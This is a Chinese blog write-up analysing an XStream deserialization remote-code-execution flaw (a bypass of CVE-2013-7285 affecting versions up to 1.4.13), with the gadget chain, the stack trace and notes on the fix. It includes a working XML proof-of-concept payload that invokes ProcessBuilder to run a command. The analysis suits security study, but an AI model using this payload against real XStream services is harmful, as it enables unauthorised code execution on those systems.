漏洞简介
该漏洞是对CVE-2013-7285的绕过,在上一个版本做了以下修复:
- 新增一个内置黑名单converter过滤EventHandler等
private class InternalBlackList implements Converter {
private InternalBlackList() {
}
public boolean canConvert(Class type) {
return type == Void.TYPE || type == Void.class || !XStream.this.securityInitialized && type != null && (type.getName().equals("java.beans.EventHandler") || type.getName().endsWith("$LazyIterator") || type.getName().startsWith("javax.crypto."));
}
public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
throw new ConversionException("Security alert. Marshalling rejected.");
}
public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
throw new ConversionException("Security alert. Unmarshalling rejected.");
}
- 新增安全框架开发者可选择自定义黑白名单、以及使用默认安全策略
https://x-stream.github.io/security.html#framework
开发者自定义黑白名单
默认安全策略
影响版本
XStream ≤ 1.4.13
pom.xml
<!-- https://mvnrepository.com/artifact/com.thoughtworks.xstream/xstream -->
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.13</version>
</dependency>
<!-- https://mvnrepository.com/artifact/xpp3/xpp3_min -->
<dependency>
<groupId>xpp3</groupId>
<artifactId>xpp3_min</artifactId>
<version>1.1.4c</version>
</dependency>
PoC
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='javax.imageio.spi.FilterIterator'>
<iter class='java.util.ArrayList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>1</expectedModCount>
<outer-class>
<java.lang.ProcessBuilder>
<command>
<string>calc</string>
</command>
</java.lang.ProcessBuilder>
</outer-class>
</iter>
<filter class='javax.imageio.ImageIO$ContainsFilter'>
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>start</name>
</filter>
<next/>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
代码审计
初步猜测
前置漏洞CVE-2013-7285已经分析过了
https://ho1aas.blog.csdn.net/article/details/126297121
涉及到的对象的层次结构大致如下:
map
jdk.nashorn.internal.objects.NativeString
com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data
dataHandler
com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource
java.io.SequenceInputStream
javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator
javax.imageio.spi.FilterIterator
java.util.ArrayList$Itr
javax.imageio.ImageIO$ContainsFilter
关键应该就是在后三个,重点看一下
javax.imageio.spi.FilterIterator
java.util.ArrayList$Itr
javax.imageio.ImageIO$ContainsFilter
javax.imageio.spi.FilterIterator
有个advance方法,会调用filter.filter()
javax.imageio.ImageIO$ContainsFilter
的filter刚好能够反射调用方法
接下来就是具体调试看看如何调用到这一步
原理分析
反序列化map对象,new了一个空的,然后来到putCurrentEntryIntoMap
把元素依次放进去,元素此时通过readCompleteItem()
才开始反序列化
这里使用了栈来处理反序列化时对象之间的层次关系
接着,首先获取元素的类型,然后也是复用convertAnother
进行反序列化
细节在doUnmarshal之中,对于同层次的节点直接穷举依次反序列化,“深度优先”
第一轮循环给NativeString赋值flags,然后第二次循环来处理<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
,先通过反射获取field
然后从xml的标签class属性获取值的类型
然后通过unmarshallField实例化,核心也是convertAnother
接下来就是循环递归反序列化上面的过程,我们直接看最后是怎么触发的
hashmap put去重调用了NativeString的hashCode,然后进入getStringValue
调用Base64data.toString()
先调了自身的get方法
如果Base64data.data
为空就从数据源获取输入流并读取
读取会调用SequenceInputStream.nextStream()
,然后调用MultiUIDefaults.nextElement()
如果type是KEYS,就会调用迭代器next的getKey方法获取
FilterIterator.next()
调用了advance,然后就命令执行了
POP链
invoke:488, Method (java.lang.reflect)
filter:613, ImageIO$ContainsFilter (javax.imageio)
advance:821, FilterIterator (javax.imageio.spi)
next:839, FilterIterator (javax.imageio.spi)
nextElement:153, MultiUIDefaults$MultiUIDefaultsEnumerator (javax.swing)
nextStream:110, SequenceInputStream (java.io)
read:211, SequenceInputStream (java.io)
readFrom:65, ByteArrayOutputStreamEx (com.sun.xml.internal.bind.v2.util)
get:182, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
toString:286, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
getStringValue:122, NativeString (jdk.nashorn.internal.objects)
hashCode:118, NativeString (jdk.nashorn.internal.objects)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
putCurrentEntryIntoMap:107, MapConverter (com.thoughtworks.xstream.converters.collections)
populateMap:98, MapConverter (com.thoughtworks.xstream.converters.collections)
populateMap:92, MapConverter (com.thoughtworks.xstream.converters.collections)
unmarshal:87, MapConverter (com.thoughtworks.xstream.converters.collections)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
unmarshal:1404, XStream (com.thoughtworks.xstream)
unmarshal:1383, XStream (com.thoughtworks.xstream)
fromXML:1277, XStream (com.thoughtworks.xstream)
main:11, Main (OneFourThirteen)
新版本修复分析
1.14.4不允许反序列化ProcessBuilder
realClass有类型判断
ban了三个类
衍生漏洞
与CVE-2020-26258和CVE-2020-26259是同类型漏洞,适当的dataSource可以触发SSRF和任意文件删除
https://x-stream.github.io/CVE-2020-26258.html
https://x-stream.github.io/CVE-2020-26259.html
参考
https://x-stream.github.io/CVE-2020-26217.html
完
欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/126347957
版权声明:本文为原创,转载时须注明出处及本声明